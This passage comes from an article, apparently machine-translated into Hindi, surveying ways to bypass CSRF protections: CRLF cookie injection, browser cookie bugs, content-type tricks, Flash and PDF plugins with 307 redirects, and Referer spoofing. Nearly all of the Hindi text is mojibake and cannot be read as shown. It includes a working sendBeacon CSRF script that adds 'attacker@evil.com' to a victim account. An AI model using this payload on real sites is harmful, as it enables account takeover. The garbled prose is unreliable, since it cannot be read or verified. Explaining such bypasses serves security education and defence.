рд▓рд┐рдП, рд╕рд╛рдордЧреНрд░реА-рд╡рд┐рд╡рд╛рдж)ред PDF рдкреНрд▓рдЧрдЗрди рдЕрднреА рднреА рдЗрд╕ PDF рдХреЛ рд░реЗрдВрдбрд░ рдХрд░реЗрдЧрд╛ рдФрд░ FormCalc рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

5. рдХреБрдХреА рдЗрдВрдЬреЗрдХреНрд╢рди

рдпрджрд┐ рдбрдмрд▓ рд╕рдмрдорд┐рдЯ рдХреБрдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рддрд░рд╣ рдХреБрдХреАрдЬрд╝ рдХреЛ рдкреЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЧреЗрдо рдУрд╡рд░ рд╣реИред

рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реИ ред

рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдмрд╕ рдЖрд╡рд╢реНрдпрдХ рдХреБрдХреАрдЬрд╝ рдХреЗ рд╕рд╛рде рд╕реЗрдЯ-рдХреБрдХреА рд╣реЗрдбрд░ рдЬреЛрдбрд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕реАрдПрд╕рдЖрд░рдПрдл рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдПрдХ рдЕрдиреНрдп рд╡рд┐рдХрд▓реНрдк рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреБрдХреА рд╣реИрдВрдбрд▓рд┐рдВрдЧ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕рдлрд╛рд░реА рдореЗрдВ, рдЖрдк рдирдИ рдХреБрдХреАрдЬрд╝ (рдЕрд▓реНрдкрд╡рд┐рд░рд╛рдо рд╕реЗ рдЕрд▓рдЧ рдХреБрдХреАрдЬрд╝) рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд▓реНрдкрд╡рд┐рд░рд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╣реИрдбрд░ рдореЗрдВ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо рднрд╛рд╖рд╛ рд╣реИред рд╣рдо рдЗрд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдХреБрдХреАрдЬрд╝ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЪрдпрдирд┐рдд рднрд╛рд╖рд╛ рдорд╛рди рд▓рд┐рдЦрддреЗ рд╣реИрдВред рдпрджрд┐ рд╣рдорд▓рд╛рд╡рд░ рдЕрд▓реНрдкрд╡рд┐рд░рд╛рдо рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА рдирд╛рдо рдХреЗ рд╕рд╛рде рдЕрддрд┐рд░рд┐рдХреНрдд рдХреБрдХреАрдЬрд╝ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧреНрд╕ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдлрд╝рд╛рдпрд░рдлрд╝реЙрдХреНрд╕ рдореЗрдВ SVG рдЗрдореЗрдЬ ( CVE-2016-9078) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдХреАрдЬрд╝ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ HTML рд╕рдВрдкрд╛рджрдХ рд╣реИ рдФрд░ рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЫрд╡рд┐ рдЯреИрдЧ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ рдПрд╕рдЖрд░рд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ рдПрд╕рд╡реАрдЬреА рдЫрд╡рд┐ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдХреБрдХреАрдЬрд╝ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред

6. рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдмрджрд▓реЗрдВ
рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк рдмреИрдХрдПрдВрдб рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП POST рдЕрдиреБрд░реЛрдз рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рдПрдХ рдЧреИрд░-рдорд╛рдирдХ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЖрдкрдХреЛ CSRF рд╕реЗ рдмрдЪрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИред

рдПрдХ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ, рдореИрдВ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХ рдмрд╣реБрдд рд▓реЛрдХрдкреНрд░рд┐рдп рдиреЛрдЯ рдкреНрд░рдмрдВрдзрди рд╕реЗрд╡рд╛ рдореЗрдВ рдорд┐рд▓реА рдПрдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╣рд╡рд╛рд▓рд╛ рджреЗрддрд╛ рд╣реВрдБред

рдЗрд╕рдиреЗ рдПрдХ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬреЛ рд╕рддреНрд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрд╛рдЪреЗ рдереНрд░рд┐рдлреНрдЯ (рджреНрд╡рд┐рдЖрдзрд╛рд░реА рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдк) рдФрд░ рдХреБрдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдирдпрд╛ рдиреЛрдЯ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЗрд╕ рддрд░рд╣ рдХреЗ рдПрдХ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдирд╛ рд╣реЛрдЧрд╛ред рдмрд╛рдЗрдирд░реА рдбреЗрдЯрд╛ рдХреЛ рд╢рд░реАрд░ рдореЗрдВ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░: рдЖрд╡реЗрджрди / рдПрдХреНрд╕-рдереНрд░рд┐рдлреНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

 POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.com Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; Connection: close Content-Type: application/x-thrift Content-Length: 43 

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЛ рдмреИрдХрдПрдВрдб рдореЗрдВ рдорд╛рдиреНрдп рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкреЛрд╕реНрдЯ рд╕реАрдПрд╕рдЯреАрдПрдл рдХреА рднреЗрджреНрдпрддрд╛ рдХреЛ рдХреЗрд╡рд▓ POST рдЕрдиреБрд░реЛрдз рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рджреНрд╡рд┐рдЖрдзрд╛рд░реА рдбреЗрдЯрд╛ рдкрд╛рд╕ рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдЯреЗрдХреНрд╕реНрдЯ / рдкреНрд▓реЗрди рдореЗрдВ рдмрджрд▓рдирд╛ рдФрд░ XHR API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред


рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░-рдЖрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рдПрдХ рдмрд╣реБрдд рд╣реА рдЦрд░рд╛рдм рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрд╣ рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдмрд╛рдИрдкрд╛рд╕ рд╣реИред

7. рдЧреИрд░-рд╕рд░рд▓ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░

HTML рдлреЙрд░реНрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ XHR API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдкрд╛рда / рд╕рд╛рджреЗ;
  • рдЖрд╡реЗрджрди / x-www-form-urlencoded;
  • рдорд▓реНрдЯреАрдкрд╛рд░реНрдЯ / рдлреЙрд░реНрдо-рдбреЗрдЯрд╛ред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЗрд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рдореВрд▓реНрдпреЛрдВ рдХреЛ рднреЗрдЬрдирд╛ рд╕рдВрднрд╡ рд╣реИ:

  • рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдмрдЧреНрд╕ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдиреЗрд╡рд┐рдЧреЗрдЯрд░.рд╕реЗрдВрдбрдмреАрдХреЙрди);
  • рдкреНрд▓рдЧрдЗрдиреНрд╕: рдлреНрд▓реИрд╢ рдкреНрд▓рдЧрдЗрди + 307 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдФрд░ рдкреАрдбреАрдПрдл рдкреНрд▓рдЧрдЗрди + 307 рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ;
  • рдмреИрдХрдПрдВрдб рдлреНрд░реЗрдорд╡рд░реНрдХред

рдХреБрдЫ рдлреНрд░реЗрдорд╡рд░реНрдХ, рдЬреИрд╕реЗ JAX-RS Apache CXF рдлреНрд░реЗрдорд╡рд░реНрдХ, URL рдореЗрдВ ctype рдирд╛рдордХ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдХреЛрдИ рднреА рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдмреИрдХрдПрдВрдб рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рджреЗрдЦреЗрдЧрд╛ рдФрд░ рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рдмрдЬрд╛рдп рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛, рдЬреЛ рд╢реАрд░реНрд╖ рд▓реЗрдЦ (рд╕реНрд░реЛрдд рд╕реЗ рд▓рд┐рдВрдХ ) рдХреЛ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдХреНрд░реЛрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдХрд╛рдлреА рдкреНрд░рд╕рд┐рджреНрдз рдмрдЧ 2015 рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд▓рдЧрднрдЧ рдПрдХ рдорд╣реАрдиреЗ рдХреЗ рдмрд╛рдж рдпрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдкрд╣реБрдВрдЪ рдореЗрдВ рдЖрдпрд╛, рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдХреЗрд╡рд▓ 2017 рдореЗрдВ рд╣реА рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ рдмрдЧ рдиреЗ рдЖрдкрдХреЛ Navigator.sendBeacon () рдирд╛рдордХ API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдореВрд▓ рдХреЗ рд╕рд╛рде рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА ред
рдСрдкрд░реЗрд╢рди рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рдерд╛?

 <script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script> 

рд╣рдо рд╡рд╛рдВрдЫрд┐рдд рдХрдВрдЯреЗрдВрдЯ-рдЯрд╛рдЗрдк рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдмреНрд▓рдм рдмрдирд╛рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯрд░.рд╕реЗрдВрдбрдмреАрдХреЙрди () рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬрддреЗ рд╣реИрдВред

рдЕрдиреНрдп рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдкрд░рд┐рджреГрд╢реНрдп рдЬреЛ рдЕрднреА рднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рд╕рдорд░реНрдерд┐рдд рд╣реИ, рдлреНрд▓реИрд╢ рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред


рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдПрдХ рд╕рд╛рдЗрдЯ рд╣реИ thehackerblog.com , рдЬрд╣рд╛рдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдХ рддреИрдпрд╛рд░ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рд╣реИ, рдЖрдк рдмрд╕ URL, рд╣реЗрдбрд░, рд╡рд╛рдВрдЫрд┐рдд рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдФрд░ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ рдЖрдкрдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ - рдЖрдк рднреЗрдЬрддреЗ рд╣реИрдВ, рдФрд░ рд╡рд╛рдВрдЫрд┐рдд рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдПрдХ POST рдЕрдиреБрд░реЛрдз рдмреИрдХрдПрдВрдб рдореЗрдВ рдЙрдбрд╝ рдЬрд╛рддрд╛ рд╣реИред

рд▓реЗрдХрд┐рди рдПрдХ рддрд░рдХреАрдм рд╣реИ - рдЖрдк рдЬрд┐рд╕ рд╕рд╛рдЗрдЯ рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЙрд╕рдХрд╛ URL рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред рдЖрдкрдХреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдкрд░ рдХреЛрдб 307 рдХреЗ рд╕рд╛рде рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕ рдкрд░ рд╣рдо рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рддрдм рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред

8. рд╕реНрдкреВрдл рд░реЗрдлрд░

CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдЕрдВрддрд┐рдо рд╡рд┐рдХрд▓реНрдк рд░реЗрдлрд░ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред Microsoft рдПрдЬ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдПрдХ рдмрдЧ рд╣реИ, рдЬреЛ рдЕрднреА рднреА рддрдп рдирд╣реАрдВ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рд░реЗрдлрд╝рд░ рдХрд╛ рдорд╛рди рдирдХрд▓реА рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдХреЗрд╡рд▓ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдПред рдЕрдЧрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдмреИрдХреЗрдВрдб рдЬреАрдПрд╕рдЯреА рдХреЛ POST рд╕реЗ рдЕрд▓рдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдмрдЧ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЕрдЧрд░ рд╣рдореЗрдВ рдЕрднреА рднреА POST рдХреА рдЬрд░реВрд░рдд рд╣реИ, рддреЛ рдереЛрдбрд╝реА рдореБрд╢реНрдХрд┐рд▓ рд╣реИред рд╣рдо рдкреАрдбреАрдПрдл рдкреНрд▓рдЧрдЗрди рдФрд░ рдлреЙрд░реНрдорд▓рдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЗрдбрд░ рд░реЗрдлрд╝рд░ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред


рд▓рдЧрднрдЧ рдПрдХ рд╕рд╛рд▓ рдкрд╣рд▓реЗ, рдкреАрдбреАрдПрдл рдкреНрд▓рдЧ-рдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЗрдЬрдмрд╛рди рд╕рд╣рд┐рдд рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдХрд┐рд╕реА рднреА рд╣реЗрдбрд░ рдХреЛ рднреЗрдЬрдирд╛ рд╕рдВрднрд╡ рдерд╛, рд▓реЗрдХрд┐рди рддрдм рдПрдбреЛрдм рдиреЗ рд╣реЗрдбрд░ рдХреА рдПрдХ рдХрд╛рд▓реА рд╕реВрдЪреА рдмрдирд╛рдХрд░ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ред рдпрд╣реА рд╣реИ, рдЕрдЧрд░ рд╣рдо рд╣реИрдбрд░ рдХреЛ рд░реЗрдлрд╝рд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рд╣реЗрдбрд░ рдмрд╕ рдирд╣реАрдВ рдЬрд╛рдПрдЧрд╛ред

рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, FormCalc рд╣рдореЗрдВ рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдХреЛ рдХрд╛рдиреВрдиреА рд░реВрдк рд╕реЗ рд╕рдмрдорд┐рдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо рдХреИрд░реНрд░рд┐рдЬ рд░рд┐рдЯрд░реНрди рдФрд░ рд▓рд╛рдЗрди рдлреАрдб рд╡рд░реНрдг рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣реЗрдбрд░ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдЕрдЧрд░ рд╣рдо рд╣реЗрдбрд░ Referer http://example.com рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдХреНрдпрд╛ рд╣реЛрдЧрд╛?

рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдпрд╣ рдХрд╛рд▓реА рд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рд╣реИ рдФрд░ Referer http://example.com рдирд╛рдо рд╕реЗ рдПрдХ рд╢реАрд░реНрд╖рдХ рдмреИрдХрдПрдВрдб рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред

рдХреБрдЫ рд╕рд░реНрд╡рд░, рдЬреИрд╕реЗ WildFly рдпрд╛ Jboss, HTTP рд╣реЗрдбрд░ рдХреЗ рдирд╛рдо рдХреЗ рдЕрдВрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдВрддрд░рд┐рдХреНрд╖ рдХрд╛ рдЗрд▓рд╛рдЬ рдХрд░рддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рддреН, рдХреЙрд▓рди ` : `ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдРрд╕реЗ рд╕рд░реНрд╡рд░ рджреЗрдЦреЗрдВрдЧреЗ рдХрд┐ рд░реЗрдлрд╝рд░ рдЙрдирдХреЗ рдкрд╛рд╕ http://example.com рдорд╛рди рдХреЗ рд╕рд╛рде рдЖрдпрд╛ рдерд╛ред рдЗрд╕рд▓рд┐рдП рд╣рдо рд░реЗрдлрд░ рдХреА рдЬрдЧрд╣ рд▓реЗрдВрдЧреЗред


рдпрд╣ рд╕рд╛рд░рд╛рдВрд╢ рддрд╛рд▓рд┐рдХрд╛ рд╣реИред рд╕реНрддрдВрдн CSRF рдХреЗ рд╡рд┐рд░реБрджреНрдз рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдкрдВрдХреНрддрд┐рдпрд╛рдБ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рд╕реЗрд▓ рдореЗрдВ, рд╡реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬрд┐рдирдореЗрдВ рдпрд╣ рд╡рд┐рдзрд┐ рдХрд╛рдо рдХрд░рддреА рд╣реИ, рд╕рдВрдХреЗрддрд┐рдд рд╣реИрдВ:

  • рд╕рднреА рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рднреА рд╕рд╛рдзрди;
  • рд╕рднреА * рдХрд╛ рдЕрд░реНрде рд╣реИ рдРрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬреЛ рд╕рдорд╕рд╛рдЗрдЯ рдХреБрдХреАрдЬрд╝ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рдд рдХреНрд░реЛрдо рдФрд░ рдУрдкреЗрд░рд╛ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕рдм рдХреБрдЫред



CSRF рд╣рдорд▓реЛрдВ рд╕реЗ рдмрдЪрд╛рд╡ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдХрд╛рд░реНрдбрд┐рдирд▓ рдФрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдХреБрдХреАрдЬрд╝ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдирд╛ рдФрд░ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред

рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдЕрднреА рднреА рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдХреАрдЬрд╝ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдирд╣реАрдВ рд╣реИрдВ:

